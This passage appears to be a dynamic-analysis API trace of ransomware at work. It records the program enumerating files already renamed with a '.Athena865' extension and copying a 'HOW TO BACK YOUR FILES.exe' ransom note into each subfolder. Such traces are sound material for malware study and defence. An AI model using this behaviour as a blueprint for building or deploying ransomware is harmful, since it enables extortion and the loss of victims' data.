lpString1=0x241e890, lpString2="Xdq36j18Lt7rY5n.wav.Athena865" | out: lpString1="Xdq36j18Lt7rY5n.wav.Athena865") returned="Xdq36j18Lt7rY5n.wav.Athena865" [0100.516] lstrlenW (lpString="Xdq36j18Lt7rY5n.wav.Athena865") returned 29 [0100.516] lstrlenW (lpString="Athena865") returned 9 [0100.516] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.516] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc0c960, ftCreationTime.dwHighDateTime=0x1d4d113, ftLastAccessTime.dwLowDateTime=0x3b581610, ftLastAccessTime.dwHighDateTime=0x1d4ca50, ftLastWriteTime.dwLowDateTime=0xc6349c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xf160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xdq36j18Lt7rY5n.wav.Athena865", cAlternateFileName="XDQ36J~1.ATH")) returned 0 [0100.516] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.516] ReleaseMutex (hMutex=0xec) returned 1 [0100.516] CloseHandle (hObject=0xec) returned 1 [0100.516] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" [0100.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52fbc0 | out: hHeap=0x4f0000) returned 1 [0100.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50aef0 | out: hHeap=0x4f0000) returned 1 [0100.516] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned 42 [0100.516] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C0C1565F262425004EAD047765A7B806") returned 0xec [0100.516] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.516] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" [0100.516] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.516] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.517] GetLastError () returned 0x0 [0100.517] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.517] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.517] CloseHandle (hObject=0xf4) returned 1 [0100.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.517] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.517] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5ead1c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.518] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.518] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.518] lstrcpyW (in: lpString1=0x241e89e, lpString2="-xyaZA U2CnstOD2Db.pptx.Athena865" | out: lpString1="-xyaZA U2CnstOD2Db.pptx.Athena865") returned="-xyaZA U2CnstOD2Db.pptx.Athena865" [0100.518] lstrlenW (lpString="-xyaZA U2CnstOD2Db.pptx.Athena865") returned 33 [0100.518] lstrlenW (lpString="Athena865") returned 9 [0100.518] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.518] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d82590, ftCreationTime.dwHighDateTime=0x1d535d3, ftLastAccessTime.dwLowDateTime=0xebd35510, ftLastAccessTime.dwHighDateTime=0x1d569f4, ftLastWriteTime.dwLowDateTime=0xc5cbdfe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x15b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16kFnlYu4.pptx.Athena865", cAlternateFileName="16KFNL~1.ATH")) returned 1 [0100.518] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.518] lstrcmpiW (lpString1="16kFnlYu4.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.518] lstrcpyW (in: lpString1=0x241e89e, lpString2="16kFnlYu4.pptx.Athena865" | out: lpString1="16kFnlYu4.pptx.Athena865") returned="16kFnlYu4.pptx.Athena865" [0100.518] lstrlenW (lpString="16kFnlYu4.pptx.Athena865") returned 24 [0100.518] lstrlenW (lpString="Athena865") returned 9 [0100.518] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.518] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729bba00, ftCreationTime.dwHighDateTime=0x1d5747d, ftLastAccessTime.dwLowDateTime=0x67d65000, ftLastAccessTime.dwHighDateTime=0x1d56a3f, ftLastWriteTime.dwLowDateTime=0xc5cbdfe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6c70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1RVMA-5c0shFPVx.docx.Athena865", cAlternateFileName="1RVMA-~1.ATH")) returned 1 [0100.518] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.518] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.518] lstrcpyW (in: lpString1=0x241e89e, lpString2="1RVMA-5c0shFPVx.docx.Athena865" | out: lpString1="1RVMA-5c0shFPVx.docx.Athena865") returned="1RVMA-5c0shFPVx.docx.Athena865" [0100.518] lstrlenW (lpString="1RVMA-5c0shFPVx.docx.Athena865") returned 30 [0100.518] lstrlenW (lpString="Athena865") returned 9 [0100.518] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.518] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5691d820, ftCreationTime.dwHighDateTime=0x1d52b59, ftLastAccessTime.dwLowDateTime=0x86ff4580, ftLastAccessTime.dwHighDateTime=0x1d57062, ftLastWriteTime.dwLowDateTime=0xc5ce4140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x11ee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6gDHUsOfdzBpu1Km.pptx.Athena865", cAlternateFileName="6GDHUS~1.ATH")) returned 1 [0100.518] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.518] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.519] lstrcpyW (in: lpString1=0x241e89e, lpString2="6gDHUsOfdzBpu1Km.pptx.Athena865" | out: lpString1="6gDHUsOfdzBpu1Km.pptx.Athena865") returned="6gDHUsOfdzBpu1Km.pptx.Athena865" [0100.519] lstrlenW (lpString="6gDHUsOfdzBpu1Km.pptx.Athena865") returned 31 [0100.519] lstrlenW (lpString="Athena865") returned 9 [0100.519] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.519] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4533d4c0, ftCreationTime.dwHighDateTime=0x1d4d30c, ftLastAccessTime.dwLowDateTime=0xc5ce4140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5ce4140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="al9qeSvEUMbs", cAlternateFileName="AL9QES~1")) returned 1 [0100.519] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.519] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.519] lstrcpyW (in: lpString1=0x241e89e, lpString2="al9qeSvEUMbs" | out: lpString1="al9qeSvEUMbs") returned="al9qeSvEUMbs" [0100.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50aef0 [0100.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x540898 [0100.519] lstrcatW (in: lpString1="al9qeSvEUMbs", lpString2="\\" | out: lpString1="al9qeSvEUMbs\\") returned="al9qeSvEUMbs\\" [0100.519] lstrcatW (in: lpString1="al9qeSvEUMbs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe") returned="al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" [0100.519] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\al9qesveumbs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.519] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6044bc0, ftCreationTime.dwHighDateTime=0x1d52237, ftLastAccessTime.dwLowDateTime=0x425d7580, ftLastAccessTime.dwHighDateTime=0x1d534af, ftLastWriteTime.dwLowDateTime=0xc5d0a2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", cAlternateFileName="BDM-N-~1.ATH")) returned 1 [0100.520] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.520] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.520] lstrcpyW (in: lpString1=0x241e89e, lpString2="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865" | out: lpString1="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865") returned="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865" [0100.520] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.pptx.Athena865") returned 34 [0100.520] lstrlenW (lpString="Athena865") returned 9 [0100.520] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ad73fb0, ftCreationTime.dwHighDateTime=0x1d52f26, ftLastAccessTime.dwLowDateTime=0x2d86eca0, ftLastAccessTime.dwHighDateTime=0x1d55394, ftLastWriteTime.dwLowDateTime=0xc5d30400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x17330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DE4p2jrvfdb77XYRN.xlsx.Athena865", cAlternateFileName="DE4P2J~1.ATH")) returned 1 [0100.520] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.520] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.520] lstrcpyW (in: lpString1=0x241e89e, lpString2="DE4p2jrvfdb77XYRN.xlsx.Athena865" | out: lpString1="DE4p2jrvfdb77XYRN.xlsx.Athena865") returned="DE4p2jrvfdb77XYRN.xlsx.Athena865" [0100.520] lstrlenW (lpString="DE4p2jrvfdb77XYRN.xlsx.Athena865") returned 32 [0100.520] lstrlenW (lpString="Athena865") returned 9 [0100.520] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0100.520] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.520] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.520] lstrcpyW (in: lpString1=0x241e89e, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0100.520] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.520] lstrlenW (lpString="Athena865") returned 9 [0100.520] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf284e260, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xc5d56560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5d56560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ES3F3HYy", cAlternateFileName="")) returned 1 [0100.520] lstrcmpiW (lpString1="ES3F3HYy", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.520] lstrcmpiW (lpString1="ES3F3HYy", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.520] lstrcpyW (in: lpString1=0x241e89e, lpString2="ES3F3HYy" | out: lpString1="ES3F3HYy") returned="ES3F3HYy" [0100.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f4c8 [0100.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x53f8f8 [0100.520] lstrcatW (in: lpString1="ES3F3HYy", lpString2="\\" | out: lpString1="ES3F3HYy\\") returned="ES3F3HYy\\" [0100.520] lstrcatW (in: lpString1="ES3F3HYy\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ES3F3HYy\\HOW TO BACK YOUR FILES.exe") returned="ES3F3HYy\\HOW TO BACK YOUR FILES.exe" [0100.521] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\ES3F3HYy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\es3f3hyy\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.521] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f945a0, ftCreationTime.dwHighDateTime=0x1d510a5, ftLastAccessTime.dwLowDateTime=0xbe0ac8f0, ftLastAccessTime.dwHighDateTime=0x1d4f417, ftLastWriteTime.dwLowDateTime=0xc5d7c6c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x17b10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hm58cOqk.docx.Athena865", cAlternateFileName="HM58CO~1.ATH")) returned 1 [0100.521] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.521] lstrcmpiW (lpString1="hm58cOqk.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.521] lstrcpyW (in: lpString1=0x241e89e, lpString2="hm58cOqk.docx.Athena865" | out: lpString1="hm58cOqk.docx.Athena865") returned="hm58cOqk.docx.Athena865" [0100.521] lstrlenW (lpString="hm58cOqk.docx.Athena865") returned 23 [0100.521] lstrlenW (lpString="Athena865") returned 9 [0100.521] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.521] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.521] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.521] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181708a0, ftCreationTime.dwHighDateTime=0x1d514b0, ftLastAccessTime.dwLowDateTime=0xfb97bc0, ftLastAccessTime.dwHighDateTime=0x1d55501, ftLastWriteTime.dwLowDateTime=0xc5da2820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xdd10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iipccoSifvOHT1TcFcj.docx.Athena865", cAlternateFileName="IIPCCO~1.ATH")) returned 1 [0100.521] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.521] lstrcmpiW (lpString1="iipccoSifvOHT1TcFcj.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.521] lstrcpyW (in: lpString1=0x241e89e, lpString2="iipccoSifvOHT1TcFcj.docx.Athena865" | out: lpString1="iipccoSifvOHT1TcFcj.docx.Athena865") returned="iipccoSifvOHT1TcFcj.docx.Athena865" [0100.521] lstrlenW (lpString="iipccoSifvOHT1TcFcj.docx.Athena865") returned 34 [0100.521] lstrlenW (lpString="Athena865") returned 9 [0100.522] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.522] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0100.522] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.522] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.522] lstrcpyW (in: lpString1=0x241e89e, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0100.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f4e0 [0100.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x53f968 [0100.522] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0100.522] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0100.522] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.522] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0100.522] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.522] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.523] lstrcpyW (in: lpString1=0x241e89e, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0100.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f4f8 [0100.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x540910 [0100.523] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0100.523] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0100.523] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.523] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xc5dc8980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5dc8980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0100.523] lstrcmpiW (lpString1="My Shapes", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.523] lstrcmpiW (lpString1="My Shapes", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.523] lstrcpyW (in: lpString1=0x241e89e, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0100.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f510 [0100.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x540988 [0100.523] lstrcatW (in: lpString1="My Shapes", lpString2="\\" | out: lpString1="My Shapes\\") returned="My Shapes\\" [0100.524] lstrcatW (in: lpString1="My Shapes\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Shapes\\HOW TO BACK YOUR FILES.exe") returned="My Shapes\\HOW TO BACK YOUR FILES.exe" [0100.524] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\my shapes\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.524] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0100.524] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.524] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.524] lstrcpyW (in: lpString1=0x241e89e, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0100.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f528 [0100.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x540a00 [0100.524] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0100.524] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0100.524] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my 